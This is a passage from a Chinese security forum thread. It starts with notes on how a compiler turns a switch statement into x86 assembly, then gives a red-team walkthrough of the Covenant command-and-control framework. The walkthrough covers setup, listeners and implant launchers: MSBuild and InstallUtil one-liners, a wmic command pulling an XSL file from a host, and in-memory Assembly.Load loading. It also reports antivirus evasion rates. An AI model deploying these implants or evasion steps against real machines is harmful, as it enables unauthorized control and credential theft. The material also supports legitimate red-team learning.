  22.                 printf(str4);
  23.                 break;
  24.        
  25.         }*/
  26.         __asm{
  27.         push ecx
  28.         lea eax,dword ptr [esp]
  29.         push eax
  30.         push str0
  31.         call scanf
  32.         mov eax,dword ptr [esp+8]
  33.         add esp,8
  34.         dec eax
  35.         je p1
  36.         sub eax,2
  37.         je p3
  38.         sub eax,2
  39.         je p5
  40.         push str4
  41.         call printf
  42.         add esp,4
  43.         xor eax,eax
  44.         pop ecx
  45.         retn
  46.         p1:
  47.         push str1
  48.         call printf
  49.         add esp,4
  50.         xor eax,eax
  51.         pop ecx
  52.         retn
  53.         p3:
  54.         push str2
  55.         call printf
  56.         add esp,4
  57.         xor eax,eax
  58.         pop ecx
  59.         retn
  60.         p5:
  61.         push str3
  62.         call printf
  63.         add esp,4
  64.         xor eax,eax
  65.         pop ecx
  66.         add esp,14h
  67.         mov ebp,esp
  68.         pop ebp
  69.         retn       
  70. }
  71.         //return 0;
  72. }
复制代码
编译器在优化时用dec eax指令代替cmp指令,使指令更短,执行速度更快,而且,在优化后,编译器会合理安排switch后各个case节点,以最优方式找到case节点。
如果case的取值是算数级数,那么编译器会利用一个跳转表来实现。
在实际程序中,case后可能会接其他分支跳转语句,问题更加复杂。
跳转指令机器码
明天更新。

回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-9 23:42:32 | 显示全部楼层
本帖最后由 pukr 于 2020-3-9 23:46 编辑

红队工具Covenant
2020-03-09 |  工具使用

Covenant是一个.NET命令和控制框架,旨在突出.NET的攻击面,使进攻性.NET贸易工具的使用更加轻松,并充当红队成员的协作命令和控制平台。
Covenant是一个ASP.NET Core跨平台应用程序,其中包括基于Web的界面,该界面允许多用户协作。
0x00 安装
这个安装由于我的一时脑残,花了很多时间,该踩的坑都踩了一个遍。
项目主页:[
下载
注意下载地址!
  1. git clone --recurse-submodules https://github.com/cobbr/Covenant
复制代码

否则在后期启动的时候会报错:
  1. root@kali:~/桌面/root/etc/Covenant/Covenant# dotnet run
  2. Error: git submodules have not been initialized
  3. Covenant's submodules can be cloned with: git clone --recurse-submodules https://github.com/cobbr/Covenant
  4. Or initialized after cloning with: git submodule update --init --recursive
复制代码

形如这样的报错需要按照要求执行:
  1. git submodule update --init --recursive
复制代码

然后进行dotnet的配置。我们还需要下载一个编译环境,确保安装dotnet核心版本2.2 SDK!Covenant尚不支持dotnet core 3.0,SDK是构建项目所必需的(不仅仅是运行时)。
首先下载:
  1. wget https://download.visualstudio.microsoft.com/download/pr/022d9abf-35f0-4fd5-8d1c-86056df76e89/477f1ebb70f314054129a9f51e9ec8ec/dotnet-sdk-2.2.207-linux-x64.tar.gz
复制代码

或者下载地址:
  1. https://dotnet.microsoft.com/download/dotnet-core/thank-you/sdk-2.2.207-linux-x64-binaries
复制代码

在dotnet-sdk-2.2.207-linux-x64.tar.gz的安装目录下执行配置语句:
  1. mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-2.2.207-linux-x64.tar.gz -C $HOME/dotnet
  2. export DOTNET_ROOT=$HOME/dotnet
  3. export PATH=$PATH:$HOME/dotnet
复制代码

然后执行dotnet -h看是否配置成功。
注意,由于没有配置进环境变量,所以每次在新的终端用到dotnet命令的时候都需要执行:
  1. export DOTNET_ROOT=$HOME/dotnet
  2. export PATH=$PATH:$HOME/dotnet
复制代码

这里其实微软官网提醒过我们了。但由于没看懂英语也没带脑子,我配置的时候并不知道这一点。我查了很久很久
  1. bash: dotnet 未找到命令。
复制代码

的原因。当然你可以选择一劳永逸,设置环境变量。
接下来进行Covenant的启动。
进入Covenant/Covenant目录。
  1. export DOTNET_ROOT=$HOME/dotnet
  2. export PATH=$PATH:$HOME/dotnet
  3. dotnet build
复制代码

执行dotnet build的时候,有可能会出现大片的报错。我又查了很久很久,没有收获。然后发现多次执行这条语句他就成功了。。。这是玄学问题吗。


然后启动。

  1. dotnet run
复制代码

这里会显示一个网址


本地访问。我在访问的时候,火狐浏览器说这是未配置签名的网站,这时点高级->允许例外,添加上这个网址的例外,再进行访问。
然后就到了注册页面。
使用
注册用户名和密码,你就成了管理员。其他用户的加入需要管理员来添加。
各个模块的作用。

  1. Dashboard      #主页面。你可以很快地看到你得到的活跃的Grunts,当前活跃的监听器,以及一些最近分配给Grunts的任务。
  2. Listeners      #提供用于管理监听器和监听器配置文件的界面。
  3. Launchers      #提供用于创建,托管和下载启动器的界面,以用于启动新的Grunts。
  4. Grunts         #显示一个表格,以查看所有活动和不活动的Grunts,以及与Grunts进行交互并为其分配新任务。
  5. Templates      #植入模板 可自定义很多payload模板
  6. Tasks          #任务内置Mimikatz等很多模块执行多种任务,也可自行定制
  7. Taskings       #显示一个表格,以查看分配给Grunts的所有任务。
  8. Graph          #提供图形视图以可视化监听器,Grunts和对等图形。
  9. Data           #提供有关在操作过程中从Grunts 收集的数据的视图,例如凭据,指示器和下载的文件。
  10. Users          #提供用于用户管理和创建的界面。
复制代码

Dashboard 仪表盘



Listeners 监听器
和CS、msf一样,在这里选择监听端口之类的。Covenant提供两种监听器,一种是HTTP,一种是TCP。当前,Covenant支持的唯一内置本机侦听器是HttpListener。
点Creat进入配置。

  1. Name                                        #监听器名称
  2. BindAddress                                #监听器绑定的本地地址,一般选择0.0.0.0
  3. BindPort                                #监听器绑定的本地端口
  4. ConnectPort                                #Grunts直接连接的回调端口,也是URL的端口
  5. ConnectAddress                                #回调地址,代表Url的主机名部分。必须至少指定一个ConnectAddress,也可以指定任意多个防止故障。Grunts将尝试连接到每个ConnectAddress,并将使用成功的第一个。如果使用重定向器,则应为指向外部重定向器的url。
  6. Url                                        #根据ConnectPort和ConnectAddress生成
  7. UseSSL                                        #确定监听器器应使用HTTPS还是HTTP协议。如果UseSSL值为true,则需要提供SSLCertificate。
  8. SSLCertificate                                #如果UseSSL为true,则SSLCertificate是侦听器使用的证书。该证书应为PFX格式。
  9. SSLCertificatePassword                        #用于保护SSLCertificate的密码。
  10. HttpProfile-HttpProfile确定Grunt和Listener通信的行为。
复制代码

这里生成一个默认HTTP监听器。
tcp监听器和HTTP监听器设置过程没有什么区别。
Launchers 启动器
有九种启动方式。

Binary 二进制文件
这是当前唯一不依赖系统二进制文件的启动器。
默认操作即可。
选择监听器,然后选择通信模板,官方提供了三个,如果监听器选择的是走http的,那么模板也选择HTTP的,如果是TCP的那么就选GruntBridge的,模板选择不同下面选项的配置也有所不同,但是也就是多了个SSL证书的选项是否打开,一般来说看个人需求,没啥需求默认就好了。

  1. Listener      #为监听器
  2. Template     #为通讯模板
  3. Delay        #为延迟
  4. JitterPercent  #为抖动时间     
  5. ConnectAttempts #为尝试连接时间
  6. KillDate      #为杀死进程时间
  7. DotNetFrameworkVersion   #为.net的版本
复制代码

.net版本为4.0,要和目标主机一致。
先点击generate再下载,或者托管到自己的网址,点击Host并输入网址。
还可以查看源码,点击code。
而且火绒、360均未查杀。查杀率为38/72.


powershell
PowerShell启动器用于生成PowerShell代码和/或使用powershell.exe启动Grunt的PowerShell单行代码。
将.NET程序集保存在数组,通过Assembly.Load()在内存进行加载
代码示例:
和Binary的配置差不多,点击generate会生成powershell单行代码。分为加密和未加密两个版本。生成好之后点击host输入文件名(例如a.ps1)


会自动跳转到生成页面,现在我们的url和路径就会自动加载了。打开目标机powershell执行上线。
MSbuild
MSBuild启动器用于生成MSBuild XML文件,该文件使用msbuild.exe启动Grunt。
生成操作都类似。然后generate并下载。

在C:\Windows\Microsoft.NET\Framework\v4.0.30319目录下执行
  1. MSBuild.exe GruntStager.xml
复制代码


将.NET程序集保存在数组,通过Assembly.Load()在内存进行加载。
代码示例:

  1. System.Reflection.Assembly.Load(oms.ToArray()).EntryPoint.Invoke(0, new object[] { new string[]{ } });
复制代码

火绒、360均未报毒。virustotal查杀率6/59。




InstallUtil
InstallUtil启动器用于生成InstallUtil dll文件,该文件使用installutil.exe启动Grunt。
生成操作都类似。然后generate并下载。




生成了dll文件,可通过C:\Windows\Microsoft.NET\Framework\v4.0.30319目录下的InstallUtil.exe执行


  1. InstallUtil.exe /logfile= /LogToConsole=false /U GruntStager.dll
复制代码







火绒、360均未报毒。virustotal查杀率9/71。





Wmic
Wmic启动器用于生成xsl文件和/或wmic单行程序,后者使用依赖于DotNetToJScript的wmic.exe启动Grunt。
Please keep in mind that any of the launchers that rely on DotNetToJScript may not work on some of the latest versions of Windows 10 and Windows Server 2016 and/or may be signatured by some AMSI providers.
任何依赖DotNetToJScript的启动器可能无法在Windows 10和Windows Server 2016的某些最新版本上运行,并且/或者可能由某些AMSI提供程序签名。
Covenant在此处提示这个方法也许无法在Windows 10和Windows Server 2016下使用。
将.NET程序集保存在数组,通过DotNetToJScript的方法在内存进行加载。
代码示例:
  1. var o = delegate.DynamicInvoke(array.ToArray()).CreateInstance('Grunt.GruntStager');
复制代码


我输入wmic os get "http://192.168.1.106/b.xsl"显示找不到别名,没有查到原因。
Regsvr32
Regsvr32启动器用于生成SCT文件和/或regsvr32单行程序,后者使用依赖于DotNetToJScript的regsvr32.exe启动Grunt。
Covenant在此处提示这个方法也许无法在Windows 10和Windows Server 2016下使用。
将.NET程序集保存在数组,通过DotNetToJScript的方法在内存进行加载。
奇怪我在win2008和xp上都没有成功。



明天继续更新。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:31 , Processed in 0.019124 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表